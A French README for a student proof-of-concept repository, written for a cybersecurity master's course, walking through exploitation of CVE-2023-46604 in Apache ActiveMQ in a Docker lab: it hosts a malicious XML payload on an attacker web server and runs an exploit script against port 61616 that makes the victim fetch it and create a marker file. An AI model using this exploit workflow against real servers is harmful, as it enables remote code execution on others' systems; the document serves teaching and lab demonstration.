
Une preuve de concept (PoC) pour CVE-2023-46604 rédigée dans le cadre du cours SPS pour le master en cybersécurité avancée à l'UPB.
Travail : Devoir SSP 3 Équipe : RCE You Later Membres : Banica Horia Alexandru, Comarlau Vlad-Constantin
Lien vidéo d’utilisation du dépôt pour réaliser la PoC : https://www.youtube.com/watch?v=vum4qTF4ygU
Ce dépôt contient une Preuve de Concept (PoC) entièrement fonctionnelle pour CVE-2023-46604. Cette vulnérabilité permet à un attaquant d’exécuter des commandes shell arbitraires sur un serveur Apache ActiveMQ vulnérable (version 5.15.10) en le forçant à désérialiser un fichier de configuration XML malveillant.
Objectif : Créer un fichier nommé pwned_by_ssp_team à l’intérieur du serveur victime pour prouver que nous en avons le contrôle.
Avant d’exécuter l’exploit, assurez-vous d’avoir :
vulnerable-env/ : Contient la configuration Docker pour le serveur victime.attacker/ : Contient les scripts d’exploit et les charges utiles malveillantes.
exploit.py : Le script Python qui envoie le paquet malveillant.serve.py : Un serveur HTTP simple pour héberger la charge utile XML.poc.xml : Le fichier de configuration malveillant contenant la commande touch /tmp/pwned_by_ssp_team.Nous allons exécuter une ancienne version vulnérable d’ActiveMQ avec Docker.
vulnerable-env :
cd vulnerable-env
docker-compose up -d
Le serveur victime doit télécharger des instructions depuis notre machine. Nous allons mettre en place un petit serveur web pour héberger ces instructions.
attacker :
cd attacker
python3 serve.py
Nous envoyons maintenant le paquet réseau spécifique qui déclenche la vulnérabilité.
Ouvrez un troisième terminal.
Accédez au dossier attacker :
cd attacker
Exécutez le script d’exploit.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal par la passerelle du pont réseau, généralement : 172.17.0.1. Essayez d’obtenir l’adresse comme suit si celle prescrite ne fonctionne pas : docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Cela a-t-il fonctionné ? Vérifions si le fichier a été créé à l’intérieur du conteneur.
/tmp à l’intérieur de la victime :
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Pour arrêter et supprimer le conteneur vulnérable :
cd vulnerable-env
docker-compose down